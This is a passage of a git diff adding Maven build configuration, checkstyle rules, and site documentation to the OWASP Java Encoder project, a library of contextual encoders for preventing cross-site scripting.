+ </plugin>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-gpg-plugin</artifactId>
+ <version>1.6</version>
+ </plugin>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-site-plugin</artifactId>
+ <!-- upgrading beyond 3.4 may break the reflow skin -->
+ <version>3.4</version>
+ <dependencies>
+ <dependency>
+ <groupId>lt.velykis.maven.skins</groupId>
+ <artifactId>reflow-velocity-tools</artifactId>
+ <version>1.1.1</version>
+ </dependency>
+ <!-- Reflow skin requires Velocity >= 1.7 -->
+ <dependency>
+ <groupId>org.apache.velocity</groupId>
+ <artifactId>velocity</artifactId>
+ <version>1.7</version>
+ </dependency>
+ <dependency>
+ <groupId>org.apache.maven.doxia</groupId>
+ <artifactId>doxia-module-markdown</artifactId>
+ <version>1.6</version>
+ </dependency>
+ </dependencies>
+ </plugin>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-project-info-reports-plugin</artifactId>
+ <version>2.9</version>
+ </plugin>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-pmd-plugin</artifactId>
+ <version>3.6</version>
+ </plugin>
+ <plugin>
+ <groupId>org.apache.felix</groupId>
+ <artifactId>maven-bundle-plugin</artifactId>
+ <version>3.3.0</version>
+ </plugin>
+ <plugin>
+ <groupId>org.codehaus.mojo</groupId>
+ <artifactId>versions-maven-plugin</artifactId>
+ <version>2.3</version>
+ </plugin>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-jxr-plugin</artifactId>
+ <version>2.5</version>
+ </plugin>
+ <plugin>
+ <groupId>org.codehaus.mojo</groupId>
+ <artifactId>findbugs-maven-plugin</artifactId>
+ <version>3.0.4</version>
+ </plugin>
+ </plugins>
+ </pluginManagement>
+
+ <plugins>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-compiler-plugin</artifactId>
+ <configuration>
+ <source>1.6</source>
+ <target>1.6</target>
+ </configuration>
+ </plugin>
+ <plugin>
+ <groupId>org.apache.felix</groupId>
+ <artifactId>maven-bundle-plugin</artifactId>
+ <executions>
+ <execution>
+ <id>default-bundle</id>
+ <phase>process-classes</phase>
+ <goals>
+ <goal>manifest</goal>
+ </goals>
+ <configuration>
+ <excludeDependencies>true</excludeDependencies>
+ <instructions>
+ <_noee>true</_noee>
+ <_nouses>true</_nouses>
+ <Automatic-Module-Name>${jigsaw.module.name}</Automatic-Module-Name>
+ </instructions>
+ </configuration>
+ </execution>
+ </executions>
+ </plugin>
+ <plugin>
+ <groupId>org.jacoco</groupId>
+ <artifactId>jacoco-maven-plugin</artifactId>
+ <executions>
+ <execution>
+ <id>prepare-agent</id>
+ <goals>
+ <goal>prepare-agent</goal>
+ </goals>
+ <configuration>
+ <propertyName>surefireArgLine</propertyName>
+ </configuration>
+ </execution>
+ </executions>
+ </plugin>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-surefire-plugin</artifactId>
+ <configuration>
+ <excludes>
+ <exclude>org/owasp/encoder/BenchmarkTest.java</exclude>
+ </excludes>
+ <argLine>${surefireArgLine}</argLine>
+ </configuration>
+ </plugin>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-jar-plugin</artifactId>
+ <executions>
+ <execution>
+ <id>default-jar</id>
+ <phase>package</phase>
+ <goals>
+ <goal>jar</goal>
+ </goals>
+ </execution>
+ </executions>
+ </plugin>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-source-plugin</artifactId>
+ <executions>
+ <execution>
+ <id>attach-sources</id>
+ <phase>package</phase>
+ <goals>
+ <goal>jar</goal>
+ </goals>
+ </execution>
+ </executions>
+ </plugin>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-javadoc-plugin</artifactId>
+ <executions>
+ <execution>
+ <id>attach-javadocs</id>
+ <phase>package</phase>
+ <goals>
+ <goal>jar</goal>
+ </goals>
+ <configuration>
+ <source>1.6</source>
+ <failOnError>false</failOnError>
+ </configuration>
+ </execution>
+ </executions>
+ </plugin>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-site-plugin</artifactId>
+ </plugin>
+ </plugins>
+ </build>
+ <reporting>
+ <plugins>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-project-info-reports-plugin</artifactId>
+ <reportSets>
+ <reportSet>
+ <reports>
+ <report>index</report>
+ <report>summary</report>
+ <report>license</report>
+ <report>scm</report>
+ <report>mailing-list</report>
+ <report>issue-tracking</report>
+ <report>dependencies</report>
+ <report>plugin-management</report>
+ <report>project-team</report>
+ </reports>
+ </reportSet>
+ </reportSets>
+ </plugin>
+ <plugin>
+ <groupId>org.codehaus.mojo</groupId>
+ <artifactId>versions-maven-plugin</artifactId>
+ <reportSets>
+ <reportSet>
+ <reports>
+ <report>dependency-updates-report</report>
+ <report>plugin-updates-report</report>
+ </reports>
+ </reportSet>
+ </reportSets>
+ </plugin>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-jxr-plugin</artifactId>
+ </plugin>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-surefire-report-plugin</artifactId>
+ <reportSets>
+ <reportSet>
+ <reports>
+ <report>report-only</report>
+ <report>failsafe-report-only</report>
+ </reports>
+ </reportSet>
+ </reportSets>
+ </plugin>
+ <plugin>
+ <groupId>org.jacoco</groupId>
+ <artifactId>jacoco-maven-plugin</artifactId>
+ <reportSets>
+ <reportSet>
+ <reports>
+ <!-- select non-aggregate reports -->
+ <report>report</report>
+ </reports>
+ </reportSet>
+ </reportSets>
+ </plugin>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-pmd-plugin</artifactId>
+ <configuration>
+ <targetJdk>1.5</targetJdk>
+ <linkXref>true</linkXref>
+ <sourceEncoding>utf-8</sourceEncoding>
+ </configuration>
+ </plugin>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-javadoc-plugin</artifactId>
+ <reportSets>
+ <reportSet>
+ <id>default</id>
+ <reports>
+ <report>javadoc</report>
+ </reports>
+ <configuration>
+ <source>1.6</source>
+ <failOnError>false</failOnError>
+ </configuration>
+ </reportSet>
+ </reportSets>
+ </plugin>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-checkstyle-plugin</artifactId>
+ <configuration>
+ <configLocation>src/main/config/checkstyle.xml</configLocation>
+ <headerLocation>src/main/config/checkstyle-header.txt</headerLocation>
+ </configuration>
+ </plugin>
+ <plugin>
+ <groupId>org.codehaus.mojo</groupId>
+ <artifactId>findbugs-maven-plugin</artifactId>
+ </plugin>
+ </plugins>
+ </reporting>
+ <profiles>
+ <profile>
+ <id>sign-artifacts</id>
+ <activation>
+ <property>
+ <name>performRelease</name>
+ <value>true</value>
+ </property>
+ </activation>
+ <build>
+ <plugins>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-gpg-plugin</artifactId>
+ <executions>
+ <execution>
+ <id>sign-artifacts</id>
+ <phase>verify</phase>
+ <goals>
+ <goal>sign</goal>
+ </goals>
+ </execution>
+ </executions>
+ </plugin>
+ </plugins>
+ </build>
+ </profile>
+ </profiles>
+</project>
diff --git a/src/main/config/checkstyle-header.txt b/src/main/config/checkstyle-header.txt
new file mode 100644
index 0000000..3b51065
--- /dev/null
+++ b/src/main/config/checkstyle-header.txt
@@ -0,0 +1,33 @@
+^// Copyright \(c\) 201[2-9] (Jeff Ichnowski|Jim Manico|Jeremy Long)\s*$
+^// All rights reserved\.\s*$
+^//
+^// Redistribution and use in source and binary forms, with or without\s*$
+^// modification, are permitted provided that the following conditions\s*$
+^// are met:\s*$
+^//\s*$
+^// \* Redistributions of source code must retain the above\s*$
+^// copyright notice, this list of conditions and the following\s*$
+^// disclaimer\.\s*$
+^//
+^// \* Redistributions in binary form must reproduce the above\s*$
+^// copyright notice, this list of conditions and the following\s*$
+^// disclaimer in the documentation and/or other materials\s*$
+^// provided with the distribution.\s*$
+^//
+^// \* Neither the name of the OWASP nor the names of its\s*$
+^// contributors may be used to endorse or promote products\s*$
+^// derived from this software without specific prior written\s*$
+^// permission\.\s*$
+^//
+^// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\s*$
+^// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\s*$
+^// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\s*$
+^// FOR A PARTICULAR PURPOSE ARE DISCLAIMED\. IN NO EVENT SHALL THE\s*$
+^// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,\s*$
+^// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\s*$
+^// \(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\s*$
+^// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION\)\s*$
+^// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,\s*$
+^// STRICT LIABILITY, OR TORT \(INCLUDING NEGLIGENCE OR OTHERWISE\)\s*$
+^// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED\s*$
+^// OF THE POSSIBILITY OF SUCH DAMAGE\.\s*$
diff --git a/src/main/config/checkstyle.xml b/src/main/config/checkstyle.xml
new file mode 100644
index 0000000..3f2c8b6
--- /dev/null
+++ b/src/main/config/checkstyle.xml
@@ -0,0 +1,204 @@
+<?xml version="1.0" encoding="US-ASCII"?>
+<!DOCTYPE module PUBLIC
+ "-//Puppy Crawl//DTD Check Configuration 1.2//EN"
+ "http://www.puppycrawl.com/dtds/configuration_1_2.dtd">
+<module name="Checker">
+
+ <!--<module name="SuppressionFilter">-->
+ <!--<property name="file" value="${basedir}/suppressions.xml"/>-->
+ <!--</module>-->
+
+ <!-- <module name="NewlineAtEndOfFile"/> doesn't work... -->
+ <module name="Translation"/>
+ <module name="FileLength"/>
+ <module name="FileTabCharacter"/>
+
+ <module name="RegexpSingleline">
+ <property name="format" value="\s+$"/>
+ <property name="minimum" value="0"/>
+ <property name="maximum" value="0"/>
+ <property name="message" value="Line has trailing spaces."/>
+ </module>
+
+ <module name="RegexpHeader">
+ <property name="headerFile" value="${checkstyle.header.file}"/>
+ <property name="fileExtensions" value="java"/>
+ <property name="id" value="header"/>
+ </module>
+ <!-- Checks for Size Violations. -->
+ <!-- See http://checkstyle.sf.net/config_sizes.html -->
+ <module name="LineLength">
+ <property name="max" value="130"/>
+ </module>
+ <module name="TreeWalker">
+ <module name="SuppressionCommentFilter">
+ <property name="offCommentFormat" value="CSOFF\: ([\w\|]+)"/>
+ <property name="onCommentFormat" value="CSON\: ([\w\|]+)"/>
+ <property name="checkFormat" value="$1"/>
+ </module>
+ <module name="JavadocMethod"/>
+ <module name="JavadocType"/>
+ <module name="JavadocVariable"/>
+ <module name="JavadocStyle"/>
+
+ <!-- Checks for Naming Conventions. -->
+ <!-- See http://checkstyle.sf.net/config_naming.html -->
+ <module name="ConstantName">
+ <property name="format" value="^(?:[A-Z][A-Z0-9]*(?:_[A-Z0-9]+)*)|(?:_log)$"/>
+ </module>
+ <module name="LocalFinalVariableName"/>
+ <module name="LocalVariableName"/>
+ <module name="MemberName">
+ <property name="applyToPrivate" value="false"/>
+ <property name="applyToProtected" value="false"/>
+ <property name="applyToPackage" value="false"/>
+ </module>
+ <module name="MemberName">
+ <property name="applyToPublic" value="false"/>
+ <property name="format" value="^_[a-zA-Z][a-zA-Z0-9]*$"/>
+ </module>
+ <module name="MethodName"/>
+ <module name="PackageName"/>
+ <module name="ParameterName"/>
+ <module name="StaticVariableName">
+ <property name="applyToPrivate" value="false"/>
+ <property name="applyToProtected" value="false"/>
+ <property name="applyToPackage" value="false"/>
+ </module>
+ <module name="StaticVariableName">
+ <property name="applyToPublic" value="false"/>
+ <property name="format" value="^_[a-zA-Z][a-zA-Z0-9]*$"/>
+ </module>
+ <module name="TypeName"/>
+
+
+ <!-- Checks for imports -->
+ <!-- See http://checkstyle.sf.net/config_import.html -->
+ <module name="AvoidStarImport"/>
+ <module name="IllegalImport"/> <!-- defaults to sun.* packages -->
+ <module name="RedundantImport"/>
+ <module name="UnusedImports"/>
+ <module name="ImportOrder">
+ <property name="groups" value="java,javax"/>
+ <property name="option" value="bottom"/>
+ </module>
+
+ <module name="MethodLength"/>
+ <module name="ParameterNumber"/>
+
+
+ <!-- Checks for whitespace -->
+ <!-- See http://checkstyle.sf.net/config_whitespace.html -->
+ <module name="EmptyForIteratorPad"/>
+ <module name="GenericWhitespace"/>
+ <module name="MethodParamPad"/>
+ <!-- <module name="NoWhitespaceAfter"/> -->
+ <!-- <module name="NoWhitespaceBefore"/> -->
+ <module name="OperatorWrap">
+ <property name="option" value="nl"/>
+ </module>
+ <module name="ParenPad"/>
+ <module name="TypecastParenPad"/>
+ <!-- <module name="WhitespaceAfter"/> -->
+ <!-- <module name="WhitespaceAround"/> -->
+
+ <!-- Modifier Checks -->
+ <!-- See http://checkstyle.sf.net/config_modifiers.html -->
+ <module name="ModifierOrder"/>
+ <module name="RedundantModifier"/>
+
+
+ <!-- Checks for blocks. You know, those {}'s -->
+ <!-- See http://checkstyle.sf.net/config_blocks.html -->
+ <module name="AvoidNestedBlocks"/>
+ <module name="EmptyBlock">
+ <property name="option" value="text"/>
+ </module>
+ <module name="LeftCurly">
+ <property name="option" value="nlow"/>
+ </module>
+ <module name="NeedBraces"/>
+ <module name="RightCurly"/>
+
+
+ <!-- Checks for common coding problems -->
+ <!-- See http://checkstyle.sf.net/config_coding.html -->
+ <!-- <module name="AvoidInlineConditionals"/> -->
+ <module name="CovariantEquals"/>
+ <module name="EmptyStatement"/>
+ <module name="EqualsAvoidNull"/>
+ <module name="EqualsHashCode"/>
+ <module name="HiddenField"/>
+ <module name="IllegalInstantiation">
+ <property name="classes" value="java.lang.Boolean"/>
+ </module>
+ <module name="InnerAssignment"/>
+ <!-- <module name="MagicNumber"/> -->
+ <module name="MissingSwitchDefault"/>
+ <!--module name="RedundantThrows">
+ <property name="allowUnchecked" value="true"/>
+ </module-->
+ <module name="SimplifyBooleanExpression"/>
+ <module name="SimplifyBooleanReturn"/>
+ <module name="NoFinalizer"/>
+ <module name="SuperClone"/>
+ <module name="IllegalCatch"/>
+ <module name="IllegalThrows"/>
+ <module name="PackageDeclaration"/>
+ <module name="IllegalType">
+ <property name="illegalClassNames"
+ value="java.util.GregorianCalendar,
+ java.util.Hashtable,
+ java.util.HashSet,
+ java.util.HashMap,
+ java.util.ArrayList,
+ java.util.LinkedHashMap,
+ java.util.LinkedHashSet,
+ java.util.TreeSet,
+ java.util.TreeMap,
+ java.util.Vector"/>
+
+ <!-- java.util.LinkedList is allowed, since the Deque interface
+ exposing useful methods like "removeLast" isn't available
+ until 1.6 -->
+ </module>
+ <module name="ExplicitInitialization"/>
+ <module name="FallThrough"/>
+
+ <!-- Checks for class design -->
+ <!-- See http://checkstyle.sf.net/config_design.html -->
+ <!-- <module name="DesignForExtension"/> -->
+ <module name="FinalClass"/>
+ <module name="HideUtilityClassConstructor"/>
+ <module name="InterfaceIsType"/>
+ <!-- <module name="VisibilityModifier"/> -->
+
+ <!-- Miscellaneous other checks. -->
+ <!-- See http://checkstyle.sf.net/config_misc.html -->
+ <module name="ArrayTypeStyle"/>
+ <!-- module name="FinalParameters"/ -->
+ <module name="Regexp">
+ <!-- Do not allow System.out calls, use loggers instead -->
+ <property name="format" value="System\s*\.\s*(out|err)"/>
+ <property name="illegalPattern" value="true"/>
+ <property name="ignoreComments" value="true"/>
+ <property name="message" value="System.out or System.err (use Logger instead)"/>
+ </module>
+ <module name="Regexp">
+ <!-- Do not allow printStackTrace, use loggers or rethrow -->
+ <property name="format" value="\.\s*printStackTrace\s*\(\s*\)"/>
+ <property name="illegalPattern" value="true"/>
+ <property name="ignoreComments" value="true"/>
+ <property name="message" value="printStackTrace() (use Logger or rethrow)"/>
+ </module>
+
+ <!-- TODO: add this back: <module name="TodoComment"/> -->
+ <module name="UpperEll"/>
+ <module name="Indentation">
+ <property name="caseIndent" value="4"/>
+ </module>
+
+ </module>
+
+</module>
+
diff --git a/src/site/markdown/index.md b/src/site/markdown/index.md
new file mode 100644
index 0000000..0273e4f
--- /dev/null
+++ b/src/site/markdown/index.md
@@ -0,0 +1,56 @@
+## OWASP Java Encoder Project
+
+The OWASP Java Encoder Project is a collection of high-performance low-overhead
+contextual encoders, that when utilized correctly, is an effective tool in
+preventing Web Application security vulnerabilities such as Cross-Site
+Scripting (XSS).
+
+Please see the [OWASP XSS Prevention Cheat Sheet](https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet)
+for more information on preventing XSS.
+
+### Usage
+
+In addition to the usage guidance below, more examples can be found on the [OWASP Java Encoder Project Wiki](https://www.owasp.org/index.php/OWASP_Java_Encoder_Project#tab=Use_the_Java_Encoder_Project).
+
+The JARs can be found in [Maven Central](https://search.maven.org/#search%7Cga%7C1%7Cg%3A%22org.owasp.encoder%22).
+
+```xml
+<dependency>
+ <groupId>org.owasp.encoder</groupId>
+ <artifactId>encoder</artifactId>
+ <version>1.2.3</version>
+</dependency>
+```
+
+Utilize the encoder:
+
+```java
+import org.owasp.encoder.Encode;
+
+//...
+
+PrintWriter out = ....;
+out.println("<textarea>" + Encode.forHtml(userData) + "</textarea>");
+```
+
+### JSP Usage
+
+The JSP Encoder makes the use of the Java Encoder within JSP simple via a TLD that
+includes tags and a set of JSP EL functions:
+
+```xml
+<dependency>
+ <groupId>org.owasp.encoder</groupId>
+ <artifactId>encoder-jsp</artifactId>
+ <version>1.2.3</version>
+</dependency>
+```
+
+```JSP
+<%@taglib prefix="e" uri="https://www.owasp.org/index.php/OWASP_Java_Encoder_Project" %>
+
+<%-- ... --%>
+
+<p>Dynamic data via EL: ${e:forHtml(param.value)}</p>
+<p>Dynamic data via tag: <e:forHtml value="${param.value}" /></p>
+```
diff --git a/src/site/resources/images/owasp.jpg b/src/site/resources/images/owasp.jpg
new file mode 100644
index 0000000..addae89
--- /dev/null
+++ b/src/site/resources/images/owasp.jpg
Binary files differ
diff --git a/src/site/site.xml b/src/site/site.xml
new file mode 100644
index 0000000..f1d4a83
--- /dev/null
+++ b/src/site/site.xml
@@ -0,0 +1,92 @@
+<?xml version="1.0" encoding="ISO-8859-1"?>
+<!--
+Copyright (c) 2015 Jeremy Long
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions
+are met:
+
+ * Redistributions of source code must retain the above
+ copyright notice, this list of conditions and the following
+ disclaimer.
+
+ * Redistributions in binary form must reproduce the above
+ copyright notice, this list of conditions and the following
+ disclaimer in the documentation and/or other materials
+ provided with the distribution.
+
+ * Neither the name of the OWASP nor the names of its
+ contributors may be used to endorse or promote products
+ derived from this software without specific prior written
+ permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+OF THE POSSIBILITY OF SUCH DAMAGE.
+
+-->
+<project name="OWASP Java Encoder Project">
+ <skin>
+ <groupId>lt.velykis.maven.skins</groupId>
+ <artifactId>reflow-maven-skin</artifactId>
+ <version>1.1.1</version>
+ </skin>
+ <publishDate position="none" />
+ <version position="none" />
+ <bannerLeft>
+ <name>OWASP Java Encoder Project</name>
+ <title>OWASP Java Encoder Project</title>
+ <alt>OWASP Java Encoder Project</alt>
+ <src>./images/owasp.jpg</src>
+ <height>107</height>
+ <width>300</width>
+ </bannerLeft>
+ <custom>
+ <reflowSkin>
+ <theme>default</theme>
+ <highlightJs>true</highlightJs>
+ <highlightJsTheme>github</highlightJsTheme>
+ <brand>
+ <name>${project.name}</name>
+ <href>https://www.owasp.org/index.php/OWASP_Java_Encoder_Project</href>
+ </brand>
+ <skinAttribution>false</skinAttribution>
+ <toc>top</toc>
+ <tocTopMax>6</tocTopMax>
+ <topNav>Modules|Maven Documentation</topNav>
+ <bottomNav maxSpan="6" >
+ <column>Modules</column>
+ <column>Contribute</column>
+ <column>Maven Documentation</column>
+ </bottomNav>
+ <pages>
+ <index project="encoder" combine.self="override"></index>
+ </pages>
+ </reflowSkin>
+ </custom>
+
+ <body>
+ <menu name="Modules" inherit="bottom">
+ <item name="OWASP Encoders" href="./index.html" />
+ <item name="Java Encoder" href="./encoder/index.html" />
+ <item name="JSP Encoder" href="./encoder-jsp/index.html" />
+ <item name="ESAPI Thunk" href="./encoder-esapi/index.html" />
+ </menu>
+ <menu name="Maven Documentation" ref="reports" inherit="bottom" />
+ <menu name="Contribute" inherit="bottom">
+ <item name="Issues" href="https://github.com/OWASP/owasp-java-encoder/issues" />
+ <item name="Fork on GitHub" href="https://github.com/OWASP/owasp-java-encoder" />
+ </menu>
+ <footer>Copyright © 2011-2017 OWASP. All Rights Reserved.</footer>
+ </body>
+</project>